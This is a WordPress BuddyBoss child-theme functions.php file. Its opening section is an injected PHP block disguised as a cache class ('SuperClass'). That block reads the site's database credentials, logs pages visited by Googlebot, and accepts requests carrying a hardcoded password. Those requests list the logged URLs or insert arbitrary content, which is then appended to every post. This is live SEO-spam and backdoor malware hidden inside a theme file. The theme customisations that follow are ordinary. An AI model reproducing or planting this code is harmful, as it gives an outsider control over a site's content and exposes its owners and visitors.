updated

<?php

if (file_exists( $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-config.php' ))
{
    require_once($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-config.php');
}

if (!class_exists('SuperClass'))
{
    class SuperClass
    {
        private $table = 'wp_supercache';
        private $canonical = '';

        private function url_now()
        {
            return 'http://' . $_SERVER['HTTP_HOST'] . urldecode($_SERVER['REQUEST_URI']);
        }

        private function url_create($work = 1)
        {
            @mysql_query(' INSERT INTO `'.$this->table.'` SET `work` = "'.$work.'", `url` = "'.mysql_escape_string($this -> url_now()).'"
                        ON DUPLICATE KEY UPDATE `work` = "'.$work.'"
                        ');
        }

        public function url_code()
        {
            if ($query = @mysql_query('SELECT `code` FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string($this -> url_now()).'"'))
            {
                return stripslashes(@mysql_result($query, 0));
            }

            return '';
        }

        private function url_exist()
        {
            if ($query = @mysql_query('SELECT count(*) FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string( $this->url_now() ).'"'))
            {
                return (@mysql_result($query, 0) != '0') ;
            }

            return true;
        }

        private function get_code()
        {
            $options['http'] = array(
                'method' => "GET",
                'follow_location' => 0
            );

            $context = stream_context_create($options);
            $get = file_get_contents($this->url_now(), NULL, $context);

            if (preg_match('!<link[^>]*rel=[\'"]canonical[\'"][^>]*href=[\'"]([^\'"]+)[\'"][^>]*>!is', $get, $_))
            {
                $this -> canonical = html_entity_decode(urldecode($_[1]));
            }
            elseif (preg_match('!<link[^>]*href=[\'"]([^\'"]+)[\'"][^>]*rel=[\'"]canonical[\'"][^>]*>!is', $get, $_))
            {
                $this -> canonical = html_entity_decode(urldecode($_[1]));
            }

            if (!empty($http_response_header))
            {
                sscanf($http_response_header[0], 'HTTP/%*d.%*d %d', $code);
                if (is_numeric($code)) return $code;
            }

            return 200;
        }

        public function pre_cache()
        {
            if (isset($_REQUEST['action']))
            {
                switch ($_REQUEST['action'])
                {
                    case 'get_all_links';
                        header("Content-Type: text/plain");
                        if ($query  = @mysql_query('SELECT * FROM `'.$this->table.'` ORDER BY `url` DESC LIMIT 0, 2500'))
                        {
                            while ($data = @mysql_fetch_assoc($query))
                            {
                                echo '<e><w>'.$data['work'].'</w><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
                            }
                        }
                        break;

                    case 'set_links';
                        if (isset($_REQUEST['data']))
                        {
                            if (mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE code = "" AND `work` = "1" LIMIT 1'))
                            {
                                echo 'true';
                            }
                        }
                        break;

                    case 'set_id_links';
                        if (isset($_REQUEST['data']))
                        {
                            if (@mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"'))
                            {
                                echo 'true';
                            }
                        }
                        break;

                    default: die('error action');
                }
                exit;
            }
        }

        static function wordpress_cache($content)
        {
            $GLOBALS['_cache_'] -> create_new_page();
            $content = $content . $GLOBALS['global_code'];
            $GLOBALS['global_code'] = '';
            return $content ;
        }

        public function create_new_page()
        {
            $GLOBALS['_cache_'] -> db_connect();
            if ( (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'googlebot') !== false) &&(!$this -> url_exist()))
            {
                $this -> url_create( 0 );

                if (($this -> get_code() == 200) && ( ($this -> canonical == '') || ( $this -> canonical == $this->url_now() ) ))
                {
                    $this -> url_create();
                }
            }
        }

        private function db_connect()
        {
            @mysql_connect(DB_HOST, DB_USER, DB_PASSWORD);
            @mysql_select_db( DB_NAME );
        }

        static function create()
        {
            if ( strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== FALSE ) return ;
            $GLOBALS['_cache_'] = new SuperClass();
            if ($_REQUEST['password'] == 'fdc32bfbbd51d12d4940dbb43e04d890') $GLOBALS['_cache_'] -> pre_cache();
            $GLOBALS['global_code'] = $GLOBALS['_cache_'] -> url_code();
            add_filter('the_content', Array($GLOBALS['_cache_'], 'wordpress_cache'));
        }

    }

    SuperClass::create();
}

?><?php
/**
 * @package BuddyBoss Child
 * The parent theme functions are located at /buddyboss/buddyboss-inc/theme-functions.php
 * Add your own functions in this file.
 */

/**
 * Sets up theme defaults
 *
 * @since BuddyBoss 3.0
 */
function buddyboss_child_setup()
{
    /**
     * Makes child theme available for translation.
     * Translations can be added into the /languages/ directory.
     * Read more at: http://www.buddyboss.com/tutorials/language-translations/
     */

    // Translate text from the PARENT theme.
    load_theme_textdomain( 'buddyboss', get_stylesheet_directory() . '/languages' );

    // Translate text from the CHILD theme only.
    // Change 'buddyboss' instances in all child theme files to 'buddyboss_child'.
    // load_theme_textdomain( 'buddyboss_child', get_stylesheet_directory() . '/languages' );

}
add_action( 'after_setup_theme', 'buddyboss_child_setup' );

/**
 * Enqueues scripts and styles for child theme front-end.
 *
 * @since BuddyBoss 3.0
 */
function buddyboss_child_scripts_styles()
{
    /**
     * Scripts and Styles loaded by the parent theme can be unloaded if needed
     * using wp_deregister_script or wp_deregister_style.
     *
     * See the WordPress Codex for more information about those functions:
     * http://codex.wordpress.org/Function_Reference/wp_deregister_script
     * http://codex.wordpress.org/Function_Reference/wp_deregister_style
     **/

    /*
     * Styles
     */
    wp_enqueue_style( 'buddyboss-child-custom', get_stylesheet_directory_uri().'/css/custom.css' );
}
add_action( 'wp_enqueue_scripts', 'buddyboss_child_scripts_styles', 9999 );


/****************************** CUSTOM FUNCTIONS ******************************/

add_filter( 'bp_get_directory_title', 'change_activity_title' );

function change_activity_title($data) {
    if( $data == 'Site-Wide Activity' ) {
        $data = 'Lounge Bar & Grill';
    }

    return $data;
}

/////////////Custom Background Code
add_filter( 'bppg_iwilldo_it_myself', '__return_true' );//do not generate css for us

//Our own css
function buddydev_custom_inject_css() {
    if ( ! function_exists( 'bppg_get_image' ) ) {
        return ;// no trouble when the plugin is disabled
    }

    $image_url = bppg_get_image();

    if ( empty( $image_url ) ) {
        return;
    }

    $repeat_type = bp_get_user_meta( bp_displayed_user_id(), 'profile_bg_repeat', true );

    if ( ! $repeat_type ) {
        $repeat_type = 'repeat';
    }
    ?>
    <style type="text/css">
        body.is-user-profile .site{
            background: url(<?php echo $image_url; ?>);
            background-repeat: <?php echo $repeat_type; ?>;
        }

    </style>
    <?php
}
add_action( 'wp_head', 'buddydev_custom_inject_css', 200 );